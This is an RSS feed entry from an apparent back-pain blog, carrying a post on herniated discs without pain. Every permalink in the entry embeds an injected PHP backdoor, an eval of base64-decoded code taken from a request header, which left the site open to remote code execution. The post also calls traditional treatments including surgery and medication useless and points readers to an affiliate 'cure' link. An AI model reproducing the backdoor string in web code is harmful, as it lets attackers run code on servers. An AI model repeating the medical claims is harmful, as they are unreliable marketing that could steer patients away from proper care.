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	<title>Back Pain and Therapy &#187; Spinal disc herniation</title>
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		<title>Mystery of the Herniated Disc without Pain</title>
		<link>http://mybackpaintherapy.com/blog/2010/01/25/mystery-of-the-herniated-disc-without-pain/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://mybackpaintherapy.com/blog/2010/01/25/mystery-of-the-herniated-disc-without-pain/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 19:33:32 +0000</pubDate>
		<dc:creator>paulgraham</dc:creator>
				<category><![CDATA[herniated disc]]></category>
		<category><![CDATA[Anti-inflammatory]]></category>
		<category><![CDATA[Diseases & Conditions]]></category>
		<category><![CDATA[health]]></category>
		<category><![CDATA[medicine]]></category>
		<category><![CDATA[Musculoskeletal Disorders]]></category>
		<category><![CDATA[pain]]></category>
		<category><![CDATA[Physical Therapy]]></category>
		<category><![CDATA[Spinal disc herniation]]></category>

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		<description><![CDATA[Image via Wikipedia A bulging disc is when the spongy material between vertebrae extends out.  It’s usually caused by too much pressure that’s been put on the spine causing excessive compression.  There are lots of nerves that run out from &#8230; <a href="http://mybackpaintherapy.com/blog/2010/01/25/mystery-of-the-herniated-disc-without-pain/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
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<dl class="wp-caption alignright" style="width: 310px;">
<dt class="wp-caption-dt"><a href="http://commons.wikipedia.org/wiki/Image:Gray93.png"><img title="Lumbar vertebra." src="http://upload.wikimedia.org/wikipedia/commons/thumb/c/c8/Gray93.png/300px-Gray93.png" alt="Lumbar vertebra." width="300" height="214" /></a></dt>
<dd class="wp-caption-dd zemanta-img-attribution" style="font-size: 0.8em;">Image via <a href="http://commons.wikipedia.org/wiki/Image:Gray93.png">Wikipedia</a></dd>
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<p>A bulging disc is when the spongy material between <a class="zem_slink" title="Vertebra" rel="wikipedia" href="http://en.wikipedia.org/wiki/Vertebra">vertebrae</a> extends out.  It’s usually caused by too much pressure that’s been put on the spine causing excessive compression.  There are lots of nerves that run out from the disc, so when the disc bulges near one of the nerves, pain develops.  The pain isn’t necessarily in the back though.  The pain can run down the nerves and end up making your legs or even your arms hurt.</p>
<p>The fact is though, you can have a <a class="zem_slink" title="Spinal disc herniation" rel="wikipedia" href="http://en.wikipedia.org/wiki/Spinal_disc_herniation">herniated disc</a> and not have any pain. You can actually have a bulging disc that doesn’t affect a nerve and so there’s no pain.  The indications you have a back problem include other things like tingling and numbness in the legs.  So don’t think you have to have pain when you have a bulging or herniated disc.</p>
<p>The best treatment options</p>
<p>When it comes to treating a herniated disc, there are traditional<br />
treatments such as ice/heat, ultrasound, electrical stimulation,<br />
cortisone injections, anti-inflammatory medications and even surgery.<br />
While these may deliver some relief, it will usually be temporary<br />
if at all.</p>
<p>But the major problem with these traditional treatments is that they<br />
can&#8217;t fix or heal a herniated disc as they do not address the actual<br />
cause of the problem. For example, even if you were to have a surgery<br />
and get some pain relief, the fact is the dysfunctions that caused<br />
the disc to herniated in the first place are still there and if not<br />
addressed, they will continue to place uneven pressure and strain on<br />
the discs and sooner or later you will likely have another problem<br />
with that disc, or others.</p>
<p>Without identifying and addressing the underlying cause of the problem,<br />
which is the physical dysfunctions caused by imbalances in muscles,<br />
you will likely continue to suffer with this condition and the<br />
continuous flare ups for years.<br />
Unfortunately, most doctors, chiropractors and physical therapists<br />
don&#8217;t spend time or focus on identifying the physical dysfunctions that<br />
are responsible for the condition so most people end up jumping from<br />
one useless traditional treatment to the next and suffer for months or<br />
years unnecessarily.</p>
<p>If you have been diagnosed with a herniated disc, or are wondering if<br />
your back pain may be caused by a herniated disc, either way you must<br />
identify and address the physical dysfunctions that are causing your<br />
pain as part of your recovery.</p>
<p>To see other informative  articles  please visit <a href="https://gethealthy.infusionsoft.com/go/7DayCure/paulgraham">https://gethealthy.infusionsoft.com/go/7DayCure</a><br />
There, you will find many more articles and resources to help educate<br />
and get rid of your back pain forever.</p>
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